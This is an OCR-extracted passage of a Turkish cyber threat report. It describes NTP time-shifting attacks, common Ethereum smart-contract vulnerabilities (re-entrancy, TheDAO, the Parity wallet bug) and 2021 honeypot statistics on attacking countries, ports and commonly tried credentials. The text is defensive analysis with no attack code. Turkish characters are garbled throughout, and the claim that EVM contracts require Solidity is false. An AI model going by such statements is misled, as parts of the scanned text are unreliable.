yetli zaman sunucularina kargl koruma yetenekleri baki-
mindan ¢ok sinirlidir. Agikcasl, bir NTP istemcisi iletisim
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kurdugu zaman sunucusu saldirganin dogrudan kontro-
|G altindaysa, istemci-sunucu iletisimini sifrelemek hicbir
koruma saglamaz.

Zaman Kaydirma Saldirilari (Time-Shifting Attacks)

Son ¢alismalarda vurgulandigi gibi, NTP istemcileri, sal-
dirganin istemcide yerel saati ileri/geri kaydirdigi zaman
kaydirmali saldirilara karsi olduk¢a savunmasizdir.

istemcideki yerel saatin, istemcinin etkilesimde bulun-
dugu zaman sunucularindan alinan saat okumalarina ve
istemci tarafindan tahmin edildigi gibi bu zaman sunu-
cularina gére gecikme belirlenmektedir. Saldirgan, NTP
mesajlarinda yanlis saat okumalarini bildirerek veya is-
temci ile zaman sunucular arasindaki yasanan gecikme-
yi etkileyerek, NTP istemcisinde yanlis kararlar alinmasi-
na neden olabilir. Ozellikle, saldirganin NTP istemcisinin
iletisim kurdugu zaman sunucular kimesinde vyeterli
varligi varsa, istemci tarafindan sorgulandiginda onu si-
rekli olarak ger¢cek zamandan daha uzaga iterek istem-
cide zamani gizlice ileri/geri kaydirabilir. Ornegin, NTPD
v4.2.8p15°’te her bes dakikada bir, kdtl niyetli bir sunucu
istemcideki saati 16 dakika kaydirabilir (yaklasik 3 kat) ve
bdylece istemcinin yerel saatini istedigi zaman dilimi ka-
dar (saniye/dakika/saat/glin/ay/yil) kaydirabilmektedir.

Tablo 4’te 6nemli birka¢ uygulamayi ve onlara zarar ver-
mek i¢in NTP istemcisindeki zamanin ne kadar kaydiril-
masi gerektigini gdstermektedir.

Saldin Yiizeyi Zaman Saldin Yiizeyi Zaman

TLS 1+ yil Rotalama 1+ giin

Sertifikalari (Routing-RPKI)

HSTS 1yl Bitcoin 1+ saat

DNSSEC 1+ ay API 1+ dakika
Yetkilendirme

DNS Onbellegi | 1+ giin Kerberos 1+ dakika

Tablo 4: Saldin yuzeyi.

NTP Giivenligi

Zaman kaydirma ve diger saldirlarla micadele etmek
icin, NTP uygulayicilari ve arastirmacilan iki ana yakla-
sim tzerinde durmustur:

1. NTP iletisimlerinin dogrulanmasi: NTP teorik ola-
rak kriptografik kimlik dogrulamay! destekler fakat
pratikte NTP trafiginin kimligi cesitli nedenlerle nadi-
ren dogrulanir. Daha da énemlisi NTP trafigi sifrelen-
mis olsa bile, trafigi geciktirme/birakma yetenegine
sahip bir saldirgan yine de NTP istemcisindeki zama-
ni etkileyebilir ve sifreleme NTP zaman sunucularinin
kontrollinde olan saldirgana karsl koruma saglamaz.

SIBER TEHDIT DURUM RAPORU



EKIM-ARALIK 2021

2. istemci tarafi ¢oziimler: Chronos NTP istemcisi.
Yakin zamanda piyasaya surllen ve su anda IETF’de
tanitilmakta olan Chronos NTP istemcisi, NTP gi-
venligine farkh bir yaklasim getirmektedir. Chronos,
zaman sorgularini cok sayida NTP zaman sunucusu-
na dagitir ve uzaktaki yanitlar atmak ve yerel saati
glncellemek icin bir teoriye-dayall yaklasik anlasma
algoritmasi (theory-informed approximate agreement
algorithm) kullanir. Chronos’ta bir istemciye ylzlerce
zaman sunucusundan olusan bir sunucu seti atanir
ve bu zaman sunucularinin IP adresleri istemcide
saklanir. istemci, diizenli olarak rasgele secilen bu
sunucularin kicik bir alt kiimesini sorgular. Chronos,
sorgulanan sunuculardan toplanan en dusuk ve en
yiksek zaman &rneklerini géz dniinde bulundurarak
ve yerel saati, ayakta olan zaman &rneklerinin ortala-
masi olarak ayarlayarak, kanitlanabilir sekilde yiksek
zaman dogrulugunu elde eder.

Saldin Stratejileri
Saldin I: Mevcut Zaman Sunucularini Kullanma

Farkh katmanlardaki NTP zaman sunuculari, alt katman-
lardaki zaman sunuculariyla senkronize edilir. Bu, NTP
zaman sunucusunu kontrol eden saldirganin potansiyel
olarak sadece istemcideki zamani, o zaman sunucusu-
nun saat okumalarini yanhs bildirerek dogrudan etkile-
mekle kalmayip, diger zaman sunucularindaki zamani
kaydirarak dolayli olarak istemcideki zamani da etkileye-
bilecegini gostermektedir.

Saldir lI: Yeni Zaman Sunuculari Eklemek

Zaman sunucusu havuzuna yeni bir zaman sunucusu
eklemek kolaydir. Saldirgan, IP adresi ve e-posta adre-
si ile zaman sunucusu olarak havuza kaydolabilmekte-
dir. Kayith bir zaman sunucusunun mesrulugu, yalnizca
havuz tarafindan izlenen zamanin dogruluguna baghdir.
Yapilan test ve deneylerde, cesitli bdlgelerdeki havuza
onlarca yeni zaman sunucusu kaydettiriimigtir.

NTP, bircok internet hizmetinin dogru ve glivenli calig-
masi icin cok 6nemlidir. NTP’nin kdtu niyetli sunucula-
rn saldirilarina karsi oldukga savunmasiz oldugu gos-
terilmistir. iki saldin tirii incelenmistir: ilki; sunucunun
NTP sunucu havuzundaki mevcut zaman sunucularinin
kontrollini elinde tuttugu veya ele gecirdigi saldirilar ve
ikincisi ise saldirganin sunucu havuzuna yeni zaman
sunucular soktugu saldirilar. Ayrica, kétu niyetli zaman
sunucularina kargi NTP’nin givenligini artirmak icin de
yaklagimlar sunulmustur. Onerilen yaklasimlar, giinim-
zin NTP zaman dogrulugunu ve kesinligini korumak,
glvenligini artirmak ve zaman sunucularini asirn yUtkle-
memek gibi farkli hedefleri icermektedir.

SIBER TEHDIT DURUM RAPORU
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8. Akilli S6zlesmelerdeki Zafiyetler

Son yillarda, 6zellikle Ethereum blok zinciri icin gelistiri-
len akilli s6zlesmelerdeki guvenlik agiklari konusu hem
akademi hem de sektérde blyik ilgi gdrmektedir. Ca-
ismalarnn buytk ¢ogunlugu, zafiyetli sézlesmeleri tes-
pit etmeye odaklanmis olsa da bu yazida zafiyetli s6z-
lesmelerin altinda yatan teknik sebepler ele alinacaktir.
Yaklasik 23.000 zafiyetli sézlesme incelenerek yapilan
bir calismada, dagitimlarindan itibaren bunlarin yalnizca
yuzde 1,98’inin istismar edilebildigi ortaya ¢ikmistir. Bu
miktar aslinda sadece 8.487 ETH’ye (yaklasik 34 milyon
USD), yani dolagimdaki ETH’nin (yaklasik 15 milyar USD)
yalnizca ylizde 0,23’line tekabil etmektedir!.

Gulvenlik acigiyla, 6zellikle yaziim guvenligiyle ilgili aras-
tirma s6z konusu oldugunda, uygulamada kesfedilen
glvenlik acikliklarinin ne kadarinin istismar edilebildigi-
ni tahmin etmek genellikle zordur. Fakat halka agik blok
zincirleri; degismezligi (immutability), erisim kolayhgi ve
tekrar edilebilir ylritme loglarnnin miktar bdyle bir aras-
tirma igin mikemmel bir firsat sunar. Aciklardan yarar-
lanmak icin, Ethereum blok zincirinin durumunu temsil
eden iligkiler Gzerinden hesaplanan Datalog sorgulari
kullanarak, sik bildirilen alti farkli glivenlik agigi sinifi ta-
nimlanmistir. Datalog tabanl aciklardan yararlanma yak-
lasimi, ek olarak blok zincirinin zaman igindeki dinamik
durumunu da yakalayabilmektedir. Kripto camiay! gec-
miste sarsan TheDAQO ve Parity clizdani hack’leri gibi
bazi Gnli kripto para istismarlari géz 6nline alindiginda
akilll s6zlesme somirdlerinin etkilerinin zannedildigi ka-
dar distik olmadigini bilmemiz gerekir.

Ethereum’un Arkaplani

Ethereum platformu, dagitik kullanici altyapisi Gzerinde
“akilli sézlesmeler” yuritmesine olanak tanir. Ethereum
akilll sézlesmeleri, Solidity adli bir Turing programlama
dilinde yazilmis, iligkili fonlarin yénetimi icin bir dizi kural
tanimlayan programlardir. Solidity yapi olarak JavaSc-
ript’e benzer, fakat built-in yapilara ve giclu bir dile sa-
hip oldugu icin Ethereum platformuyla etkilesim kurmak
icin JavaScript’e kiyasla ¢ok daha uygun ve kullanila-
bilirdir. Solidity’de yazilan programlar, Ethereum Sanal
Makinesi (EVM) tarafindan Ethereum platformunda ca-
hstinimak Uzere dislik seviyeli (low-level) bayt kodunda
derlenir. Solidity kullanmadan EVM sdzlesmeleri yazmak
mUmkun degildir.

Akilll bir sdézlesmeyi yurttmek i¢in géndericinin sézles-
meye bir islem géndermesi ve sézlesmenin hesaplama
maliyetinin karsiidi olarak, gaz birimleriyle 6lcilen bir
Ucret 6demesi gerekir. Gaz, Ethereum token’inin kiglk
bir parcasidir ve madencilere 6deme yapmak icin kulla-
nilir. Yani agda yapilan islemleri calistirmak icin gerekli

17



thimnkktech

STM Teknolojik Diisiince Merkezi

A

maliyeti ifade eder?. Ydrltllen her komut, (izerinde an-
lasilan bir miktarda gaz tuketir. Kullaniimayan gaz gén-
dericiye iade edilir. Asla sona ermeyen programlardan
kaynaklanan sistem arizasini 6nlemek igin islemler, séz-
lesmenin ylritilmesi icin bir gaz limiti belirler. Bu sinira
ulasildiginda bir gas exception (gaz istisnasi) atilir.

Akilll sbzlesmeler, Ethereum blok zincirinde bulunan
baska bir hesabi arama yetenegine sahiptir. Bu iglevsel-
lik, hem bagka bir s6zlesmedeki bir islevi cagirmak hem
de Ethereum’daki temel para birimi olan Ether’i (ETH) bir
hesaba géndermek icin kullanildigindan asiri yiklenmis-
tir. Bu arama iglevselligi yeni islemler olusturmaz ve bu
nedenle dogrudan zincir Uzerine kaydedilmez. Bu se-
bepten, islem yilritme Uzerinden bakmak Ether akigini
takip etmek icin yeterli bilgi saglamaz.

Akill S6zlesmelerdeki Zafiyetler

Bu bdélimde, EVM tabanl akilli sézlesmeler Gzerinden
tespit edilmis ve raporlanmig en yaygin zafiyet turleri
anlatilacaktir.

Yeniden Giris (Re-Entrancy):

Bir sézlesme bagka bir hesabi ¢agirdiginda, c¢agrilan
tarafin kullanmasina izin verdigi gaz miktarini secebilir.
Hedef hesap bir s6zlesme ise, ¢alistirilir ve saglanan gaz
bltgesini kullanabilir. E§er bu sézlesme bir zararliysa ve
gaz butgesi yeteri kadar fazla ise, gagirani geri gcagirmayi
deneyebilir (yeniden giris cagirmasi/aramasi). Geri cagir-
ma gerceklesmedigi durumda (6rnegin bakiye bilgilerini
iceren dahili durumunu glincelleyememesi durumunda),
saldirgan bu givenlik acigini zafiyetli s6zlesmeden fon-
lar bosaltmak igin kullanabilir. Bu tir bir agiklik TheDAO
istismarinda kullanilmigtir ve esasen Ethereum toplulu-
gunun bir hard fork kullanarak bir dnceki duruma doén-
mesine neden olmustur.

islenemeyen istisnalar (Unhandled Exceptions):

Ether géndermek icin kullanilan send gibi Solidity’deki
baz dislk seviyeli islemler, hata durumunda bir istisna
olusturmaz. Bunun yerine bir boolean déndurerek duru-
mu bildirir. Bu dénis degeri kontrol edilmiyorsa, arayan
kisi 6deme basarisiz olsa bile ylritmeye devam eder ve
bu da acikliklara yol agabilmektedir.

Kilitli Ether (Locked Ether):

Ethereum akilll s6zlesmeleri, Ethereum agina bagli her-
hangi bir hesap gibi Ether alabilir. Bununla birlikte, alinan
fonlarin kalici olarak s6zlesmeye kilittenmesinin birka¢
nedeni vardir. Bunun bir nedeni, sézlesmenin, EVM’nin
“SELFDESTRUCT” talimati kullanilarak yok edilen bagka
bir s6zlesmeye bagli olabilmesidir. Boyle bir s6zlesmenin
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Ether géndermesi, fonlarin kalici olarak kilitlenmesine
neden olacaktir. Kasim 2017’de Parity Clizdan hatasin-
da olan ve milyonlarca USD degerinde Ether’i kilitleyen
olay budur.

islem Emri Bagimhhigi (Transaction Order
Dependency):

Ethereum’da, birden fazla islem tek bir bloga dahil edilir.
Bu, bir sézlesmenin durumunun ayni blokta birden fazla
kez glincellenebilecedi anlamina gelir. Ayni akilli s6zles-
meyi ¢agiran iki islemin sirasi gergcek sonucu degisti-
rirse, saldirgan bu &zellikten yararlanabilir. Ornegin, bir
bulmaca sorusu verilerek ¢6zUmUinl sunmasi beklenen
bir katiimciya bir sézlesme verildiginde, kétd niyetli bir
s6zlesme sahibi, islem gerceklestiginde 6dil miktarini
azaltabilir.

Tamsayi1 Tagmasi (Integer Overflow):

Tamsay! tasmasi, bircok programlama dilinde yaygin
bir hata tlridir. Ancak Ethereum aginda meydana gel-
diginde cok ciddi sonuglari olabilir. Ornegin, bir déngii
icindeki saya¢ tasarak sonsuz bir déngu olusturursa,
s6zlesmenin fonlar tamamen donabilir. Saldirgan, bir
tasmay tetikleyecek kadar kullanici kaydederek déngu-
ndn iterasyon sayisini artirabilirse bu gerceklesebilir.

Sinirsiz Eylem:

Sozlesmeler genellikle, kullanicinin yapabilecegi eylem
thrunl kisitlamak amaciyla mesajin gdéndericisini kontrol
ederek yetkilendirme gerceklestiri. Normal kosullarda,
yalnizca sézlesmenin sahibinin onu feshetmesine veya
yeni bir sahip belirlemesine izin verilmelidir. Fakat gelisti-
rici tarafindan unutulan kritik bir kontrol varsa, saldirgan
yetkilendirilmis bir ¢cagrinin adresini kontrol edebilir. Bu
sayede uzaktan kod calistirmasi mimkun olur.

Ads 3 Zafiye‘_t_ler Raporlanma
YG Il KE 1lB Tr SE Ayl
Oyente v o v 2016-10
ZEUS v oo 2018-02
Maian v v 2018-03
SmartCheck v o v 2018-05
Securify v v o v 2018-06
ContractFuzzer v 2018-09
teEther v 2018-08
Vandal v 2018-09
MadMax v v 2018-10

Sekil 14: Akilll s6zlesme analiz araglarinin 6zeti.
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Analiz Araclari

Akilli s6zlesmeler genellikle Ether cinsinden fonlari mani-
pule etmek ve tutmak icin tasarlanmigtir. Basarili bir sal-
dinyla saldirgan, sézlesmeden dogrudan fon calabilece-
gi icin, bu s6zlesmeleri ¢ok cazip saldir hedefleri haline
getirir. Akill sézlesmelerdeki birgcok yaygin glvenlik acig
g6z 6nine alindiginda, bunlari otomatik olarak bulmak
icin cok sayida arag gelistirilmistir. Bu araglarin ¢ogu,
s6zlesme kaynak kodunu veya derlenmis EVM bayt ko-
dunu analiz eder ve yeniden giris veya iglem emri ba-
gimhligr givenlik aciklar gibi bilinen gtvenlik sorunlarini
arar. Sekil 14°te farkh aracglan 6zet olarak gorebilirsiniz.
“Zafiyetler” sutunu, Akili Sézlesmelerdeki Zafiyetler
bashg altinda anlatilan araglarin kontrol edebilecegi gu-
venlik agiklarinin ttrind gésterir.

En Yaygin Zafiyetler

Son yillarda Ethereum’da bulyuk etkiler uyandiran, genis
capli akill s6zlesme istismarlari gézlemlendi. Bu saldi-
rilar analiz edilip siniflandinimis ve bu tir saldirilarn 6n-
lemek igin bircok arac ve teknik ortaya cikmistir. Akilli
s6zlesmelerle ilgili son literatdr, saldirilarin zamanla nasil
gelistigini de gdstermistir. Bu bélimde, en belirgin iki ta-
rihi istismar hakkinda ayrintili bilgi verilecektir.

TheDAO istismari:

TheDAO istismari, Ethereum blok zincirinde bilinen en
genis capl hatalardan biridir. Saldirganlar, sézlesme
fonlarinin bosaltiimasina izin veren sdzlesmenin yeni-
den girig (re-entrance) guvenlik ac¢igindan yararlanmistir.
Saldirgan sézlesmesi, islevi TheDAQO’daki bakiyesi azal-
madan 6nce yeniden giris ile para ¢ekme islevini ¢cagi-
rabilir. Bu durum fonlarin serbestge bosaltiimasini mim-
kin kilmaktadir. Toplamda 3,5 milyondan fazla Ether bu
saldin araciliglyla bosaltiimigtir. Saldirinin ciddiyeti goz
6nlne alindiginda, Ethereum toplulugu saldin sonrasin-
da hard forking lizerinde anlasmis ve yeni bir blok zinciri
olusturmustur.

The Parity Clizdani Hatasi:

Parite (The Parity) Clizdani hatasi, Ethereum blok zin-
cirinde 280 milyon USD degerinde Ethereum’un, Parity
clizdan hesabinda dondurulmasina neden olan bir diger
énemli glvenlik agigidir. Ayrica 32 milyon USD degerin-
de Ether (153 bin adet) bu saldinda ¢calinmigtir. Bunun
nedeni cok basit bir glivenlik acigidir: Parite clizdani ta-
rafindan kullanilan bir kitiiphane sézlesmesi dogru bas-
latimamistir, aslinda bu sebeple herkes tarafindan yok
edilebilirdi. Kitliphane yok edildiginde, Parity clizdanina
yapilan herhangi bir cagn basarisiz olmaktadir ve tim
fonlarin etkin bir sekilde kilitlenmesine sebep olmaktadir.

SIBER TEHDIT DURUM RAPORU
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2021 HONEYPOT VERILERI

Bu rapor 2021 yili igerisinde Honeypot sensdérlerimizden
topladigimiz veriler ile olusturulmustur. En ¢ok saldiri
toplanan (lkeler, portlar, en ¢cok denenen parolalar ve
kullanici isimleri gibi veriler listelenerek incelenmesi icin
sunulmustur.

2021 yili boyunca Honeypot sensérlerimize toplamda
62.508.710 saldir gelmistir.

Attacks by Country

@ Ireland
China
Russia
India
United States
® Vietnam
Netherlands

ZENEINE]

Turkey

Brazil

Sekil 15: Honeypot sensorlerine gelen saldirilarin Ulkelere gore
dagiimi.

Saldiran Ulke Saldin Sayisi
ifanda 9.879.869
Cin 5.637.605
Rusya 5.411.738
Hindistan 4.409.692
ABD 4.231.259
Vietnam 4.192.544
Hollanda 2.577.396
Panama 1.843.546
Turkiye 1.757.910
Brezilya 1.562.455

Tablo 5: En sik saldiri alinan 10 Ulke ve saldirn sayilar.

Toplanan veriler incelendiginde, en ¢ok saldin toplanan
tlkenin irlanda oldugu, sonrasinda Cin, Rusya, Hin-
distan ve ABD’nin onu takip ettigi gérilmektedir. irlan-
da’dan gelen saldin sayisinin bir sonraki tlkeye kiyasla
bile ylksek sayida olmasi dikkat cekmektedir. Ayrica Pa-
nama’nin en ¢ok saldiran Ulkeler arasinda olmasi baska
bir dikkat ¢ekici detay olarak degerlendirilmigtir.
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Saldirilan Port Saldiri Sayisi
445 - SMB 24.363.300
3389 - RDP 4.925.620

22 - SSH 4.160.562
5900 - VNC 2.617.917
443 - HTTPS 2.336.218
80 - HTTP 1.826.864
25 - SMTP 1.537.176
993 - IMAP 313.298
5901 - VNC-ALT 195.401
23 - TELNET 143.315

Tablo 6: En cok saldin alan portlar, bu portlari kullanan populer
servisler ve saldir sayilari.

Yukaridaki tablo incelendiginde, en ¢ok saldinnin SMB
servisinin kullandigi port 445’e geldigi goérilmektedir.
SMB servisi, sunucularin paylasilan dosyalar ve yazici-
lar icin kullandigi servis oldugundan, bu servisin diger
servislere kiyasla ¢ok daha fazla saldiri almasi beklenen
bir durum olarak degerlendiriimektedir. SMB'yi sirasiyla
RDP, SSH ve VNC servisleri takip etmektedir. Bu ser-
visler uzak bilgisayarlara direkt erisim sagladiklarindan,
saldirganlarin bir sonraki tercihi bu servislerin kullandig
portlar olmustur.

Denenen Parola Denenme Sayisi

admin 390.144
1234 311.676
root 279.816
(empty) 181.901
test 173.723
123456 109.786
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123 102.071
101 87.819
user 83.532
support 43.979

Tablo 7: Uzaktan erigilebilen servisler Uzerinde en ¢ok denenen
parolalar ve denenme sayilari.

Denenen parolalar incelendiginde, birgok yonetim ara-
ylzunln standart olarak kullandigi parolalar olan admin,
root, test, user gibi kelimeler gézlemlenmektedir. Bu pa-
rolalarin test sireci tamamlanir tamamlanmaz degistiril-
mesi ve karmasik, 12-16 karakterli parolalar ile degistiril-
mesi analistlerimiz tarafindan tavsiye edilmektedir.

Denenen Kullanici Adi Denenme Sayisi

root 1.479.367
admin 490.731
test 192.554
user 149.946
(empty) 145.289
101 88.376
Administrator 62.672
support 48.467
operator 32.355
nproc 24.831

Tablo 8: Uzaktan erigilebilen servisler Uizerinde en ¢gok denenen
kullanici adlari ve denenme sayilari.

Denenen kullanici adlar incelendiginde, yeni kurulmus
olan sistemlerin siklikla kullandigi root, admin, test, user
gibi kullanici adlarinin saldirganlar tarafindan tercih edil-
digi gérilmektedir. Kurulumu tamamlanan servislerin ve
yénetim panellerinin kullanici adlarinin en kisa zamanda
degistiriimesi tavsiye edilmektedir.
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